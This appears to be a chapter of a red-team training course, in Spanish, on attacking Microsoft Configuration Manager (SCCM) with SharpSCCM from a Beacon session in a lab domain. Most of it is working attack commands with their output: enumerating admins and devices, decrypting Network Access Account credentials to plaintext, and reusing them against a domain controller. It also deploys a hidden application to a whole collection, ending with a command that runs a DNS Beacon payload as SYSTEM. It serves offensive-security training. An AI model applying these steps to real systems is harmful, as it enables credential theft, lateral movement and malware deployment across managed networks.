Microsoft Configuration Manager
Configuration Manager
Microsoft Configuration Manager (a menudo abreviado como ConfigMgr o MCM) comenzó su vida como "Systems Management Server" (SMS). Luego se convirtió en "Systems Center Configuration Manager" (SCCM), después en "Endpoint Configuration Manager" (MECM), y ahora está bajo la marca Intune de Microsoft. La mayoría todavía se refiere a él como SCCM porque Microsoft cambia el nombre de sus productos más frecuentemente de lo que yo cambio mis calcetines. Fundamentalmente, el rol de SCCM es ayudar con tareas de gestión de sistemas, como despliegues de aplicaciones y software, actualizaciones y configuración y reporte de cumplimiento.
La complejidad de una implementación puede variar desde un solo sitio hasta una jerarquía extensa de múltiples sitios primarios y secundarios. La capacidad de conectar múltiples sitios ayuda con la escalabilidad, particularmente al tratar con diferentes ubicaciones geográficas. Los siguientes ejemplos están tomados directamente de la documentación de Microsoft.
SCCM es un objetivo atractivo para los atacantes porque, dado suficiente privilegio, puede utilizarse para enviar scripts y aplicaciones maliciosas a los dispositivos que administra. La implementación en el laboratorio RTO solo está configurada como un único sitio para demostrar primitivas básicas de abuso contra Configuration Manager. Hay más recursos disponibles, incluyendo este artículo de Chris Thompson que describe cómo un sitio primario comprometido también compromete toda la jerarquía.
Enumeration
El primer paso al atacar SCCM es comprender la topología de implementación, qué dispositivos están siendo administrados y quiénes son los usuarios administrativos. A lo largo de este capítulo, utilizaremos la herramienta SharpSCCM. Con un acceso inicial en una máquina, podemos comenzar encontrando el punto de gestión y el código de sitio al que está vinculado. Esto no requiere privilegios especiales en el dominio, en SCCM o en el endpoint.
beacon> run hostname
wkstn-2
beacon> getuid
[*] You are DEV\bfarmer
beacon> execute-assembly C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe local site-info --no-banner
-----------------------------------
CurrentManagementPoint: scm-1.cyberbotic.io
Name: SMS:S01
-----------------------------------
[+] Completed execution in 00:00:00.2733939
Esta enumeración utiliza WMI en segundo plano, lo cual también podría hacerse manualmente.
beacon> powershell Get-WmiObject -Class SMS_Authority -Namespace root\CCM | select Name, CurrentManagementPoint | fl
Name : SMS:S01
CurrentManagementPoint : scm-1.cyberbotic.io
También podemos verificar el DACL en el contenedor CN=System Management en AD para las máquinas que tienen control total sobre él (ya que este es un requisito previo para la configuración de SCCM en un dominio).
beacon> execute-assembly C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get site-info -d cyberbotic.io --no-banner
[!] Found 1 computer account(s) with GenericAll permission on the System Management container:
CYBER\SCM-1$
[+] These systems are likely to be ConfigMgr site servers
[+] Completed execution in 00:00:00.4974129
Enumerar usuarios, grupos, computadoras, colecciones y administradores, etc., requiere cierto nivel de privilegio en SCCM y no puede hacerse como un usuario estándar de dominio. SCCM emplea un modelo de seguridad RBAC: el rol más bajo es "Read-Only Analyst" y el más alto es "Full Administrator". Existen muchos otros roles como "Asset Manager", "Infrastructure Administrator" y "Software Update Manager". Una descripción de cada uno se puede encontrar aquí. Además, el "alcance" de estos roles puede restringirse a colecciones individuales según lo requiera el usuario administrativo. Por ejemplo, las computadoras de los dominios DEV y CYBER se han agrupado en sus propias colecciones.
Esto puede afectar significativamente tu visión (como atacante) de cómo está configurado SCCM. Por ejemplo, si enumeramos todas las colecciones como bfarmer, podemos ver que tanto DEV como CYBER existen, así como sus conteos de miembros.
beacon> getuid
[*] You are DEV\bfarmer
beacon> execute-assembly C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get collections --no-banner
-----------------------------------
Name: DEV
MemberCount: 6
-----------------------------------
Name: CYBER
MemberCount: 4
-----------------------------------
[+] Completed execution in 00:00:00.6623964
Sin embargo, si ejecutamos la misma enumeración como jking, un miembro de DEV\Support Engineers, solo vemos la colección DEV.
beacon> make_token DEV\jking Qwerty123
[+] Impersonated DEV\jking (netonly)
beacon> execute-assembly C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get collections --no-banner
-----------------------------------
Name: DEV
MemberCount: 6
-----------------------------------
[+] Completed execution in 00:00:02.7849452
Esto se debe a que, aunque DEV\Developers son solo "Read-Only Analysts", el rol está delimitado para ambas colecciones. DEV\Support Engineers son "Full Administrators" sobre la colección DEV, pero no tienen roles delimitados para la colección CYBER.
Así que cuando se enumera SCCM, es posible que solo veas una pequeña parte según el usuario con el que estés ejecutando la enumeración.
Los usuarios administrativos se pueden encontrar utilizando get class-instances SMS_Admin.
beacon> execute-assembly C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get class-instances SMS_Admin --no-banner
-----------------------------------
CategoryNames: All
CollectionNames: All Systems, All Users and User Groups
LogonName: SCM-1\Administrator
RoleNames: Full Administrator
-----------------------------------
CategoryNames: Default
CollectionNames: DEV, CYBER
LogonName: DEV\Developers
RoleNames: Read-only Analyst
-----------------------------------
CategoryNames: Default
CollectionNames: DEV
LogonName: DEV\Support Engineers
RoleNames: Full Administrator
-----------------------------------
CategoryNames: All
CollectionNames: All Systems, All Users and User Groups
LogonName: CYBER\Domain Admins
RoleNames: Full Administrator
-----------------------------------
[+] Completed execution in 00:00:06.0664364
Esto nos permite ver lo que se refleja en la GUI de Configuration Manager mencionada anteriormente. Los miembros de estas colecciones se pueden encontrar utilizando get collection-members -n <collection-name>.
beacon> execute-assembly C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get collection-members -n DEV --no-banner
-----------------------------------
Domain: DEV
Name: WKSTN-2
-----------------------------------
Domain: DEV
Name: SQL-2
-----------------------------------
Domain: DEV
Name: WKSTN-1
-----------------------------------
Domain: DEV
Name: DC-2
-----------------------------------
Domain: DEV
Name: FS
-----------------------------------
Domain: DEV
Name: WEB
-----------------------------------
[+] Completed execution in 00:00:03.2562318
Se puede obtener aún más información sobre cada dispositivo usando get devices. Hay algunas formas útiles de filtrar la salida, como buscar por nombre de dispositivo, -n, y mostrar solo las propiedades especificadas con -p.
beacon> execute-assembly C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get devices -n WKSTN -p Name -p FullDomainName -p IPAddresses -p LastLogonUserName -p OperatingSystemNameandVersion --no-banner
-----------------------------------
FullDomainName: DEV.CYBERBOTIC.IO
IPAddresses: 10.10.123.101
LastLogonUserName: nlamb
Name: WKSTN-1
OperatingSystemNameandVersion: Microsoft Windows NT Workstation 10.0
-----------------------------------
FullDomainName: DEV.CYBERBOTIC.IO
IPAddresses: 10.10.123.102
LastLogonUserName: bfarmer
Name: WKSTN-2
OperatingSystemNameandVersion: Microsoft Windows NT Workstation 10.0
-----------------------------------
[+] Completed execution in 00:00:01.3059878
También puedes usar SCCM como una forma de caza de usuarios, ya que registra el último usuario que inició sesión en cada computadora gestionada. El parámetro -u solo devolverá dispositivos donde el usuario especificado fue el último en iniciar sesión.
beacon> execute-assembly C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get devices -u nlamb -p IPAddresses -p IPSubnets -p Name --no-banner
-----------------------------------
IPAddresses: 10.10.123.101
IPSubnets: 10.10.122.0
Name: WKSTN-1
-----------------------------------
[+] Completed execution in 00:00:01.7570393
Sin embargo, toma estos resultados con precaución, ya que esta información solo se actualiza en SCCM cada 7 días por defecto.
Network Access Account Credentials
En un entorno Windows, la mayoría de las computadoras estarán unidas a un dominio y, por lo tanto, se autenticarán en los SCCM Software Distribution Points (SDPs) (básicamente solo comparticiones SMB) usando las credenciales de sus propias cuentas de máquina. Sin embargo, algunas computadoras pueden no estar unidas a un dominio. Las credenciales de Network Access Account (NAAs) son credenciales de dominio destinadas a ser utilizadas por estas máquinas para acceder a los SDPs a través de la red. Se pasan a las máquinas como parte de las políticas de máquina de SCCM, las cuales luego se cifran utilizando DPAPI y se almacenan localmente. Si están presentes, los usuarios privilegiados pueden recuperar estos blobs de credenciales a través de WMI o directamente desde el disco y descifrarlos para recuperar las credenciales en texto plano.
Usa local naa con -m wmi o -m disk.
beacon> getuid
[*] You are DEV\bfarmer (admin)
beacon> execute-assembly C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe local naa -m wmi --no-banner
[+] Connecting to \\127.0.0.1\root\ccm\policy\Machine\ActualConfig
[+] Retrieving network access account blobs via WMI
[+] Retrieving task sequence blobs via WMI
[+] Retrieving collection variable blobs via WMI
[...snip...]
[+] Decrypting network access account credentials
NetworkAccessUsername: cyberbotic.io\sccm_svc
NetworkAccessPassword: Cyberb0tic
Estas credenciales solo deberían tener acceso de lectura al SDP, pero a menudo están sobreprivilegiadas (a veces incluso como administradores de dominio/empresa).
beacon> make_token cyberbotic.io\sccm_svc Cyberb0tic
[+] Impersonated cyberbotic.io\sccm_svc (netonly)
beacon> ls \\dc-1.cyberbotic.io\c$
[*] Listing: \\dc-1.cyberbotic.io\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 15:26:54 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 05/08/2021 08:20:24 PerfLogs
dir 09/26/2023 09:07:25 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 09/26/2023 09:13:26 ProgramData
dir 08/15/2022 15:07:48 Recovery
dir 08/24/2022 11:05:32 Shares
dir 09/26/2023 14:28:24 System Volume Information
dir 08/15/2022 15:09:04 Users
dir 09/26/2023 09:10:03 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/27/2023 09:28:28 DumpStack.log.tmp
1kb fil 09/25/2023 19:07:33 ExtADSch.log
384mb fil 09/27/2023 09:28:28 pagefile.sys
Un enfoque alternativo es solicitar una copia de la política directamente desde SCCM utilizando get naa. Esto también requiere ser administrador local en la máquina local para obtener una copia de sus certificados SMS Signing y SMS Encryption.
Lateral Movement
Con privilegios de Full o Application Administrator sobre un dispositivo o una colección, podemos desplegar scripts o aplicaciones para facilitar el movimiento lateral. Para ejecutar un comando en cada dispositivo de la colección DEV, podríamos hacer exec -n DEV -p <path>.
beacon> execute-assembly C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe exec -n DEV -p C:\Windows\notepad.exe --no-banner
[+] Creating new application: Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c
[+] Application path: C:\Windows\notepad.exe
[+] Updated application to hide it from the Configuration Manager console
[+] Updated application to run in the context of the logged on user
[+] Successfully created application
[+] Creating new deployment of Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c to DEV (S0100014)
[+] Found the Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c application
[+] Successfully created deployment of Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c to DEV (S0100014)
[+] New deployment name: Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c_S0100014_Install
[+] Waiting for new deployment to become available...
[+] New deployment is available, waiting 30 seconds for updated policy to become available
[+] Forcing all members of DEV (S0100014) to retrieve machine policy and execute any new applications available
[+] Waiting 1 minute for execution to complete...
[+] Cleaning up
[+] Found the Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c_S0100014_Install deployment
[+] Deleted the Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c_S0100014_Install deployment
[+] Querying for deployments of Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c_S0100014_Install
[+] No remaining deployments named Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c_S0100014_Install were found
[+] Found the Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c application
[+] Deleted the Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c application
[+] Querying for applications named Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c
[+] No remaining applications named Application_4b981c0c-ccc4-4971-b6cc-ff774770be5c were found
[+] Completed execution in 00:02:18.2210387
SharpSCCM intenta ocultar la aplicación (es decir, el comando que estamos ejecutando) de la GUI, pero la implementación sigue siendo visible hasta que se complete.
Por defecto, lo anterior ejecutará Notepad como el usuario actualmente conectado en cada máquina. Si un usuario no está conectado, entonces el comando no se ejecutará. Podemos forzarlo a ejecutarse como SYSTEM utilizando el parámetro -s, y esto se ejecutará en cada máquina independientemente de si un usuario está conectado o no. Al igual que en el capítulo de GPO Abuse, podemos cargar y ejecutar un payload de DNS Beacon.
beacon> execute-assembly C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe exec -n DEV -p "C:\Windows\System32\cmd.exe /c start /b \\dc-2\software\dns_x64.exe" -s --no-banner



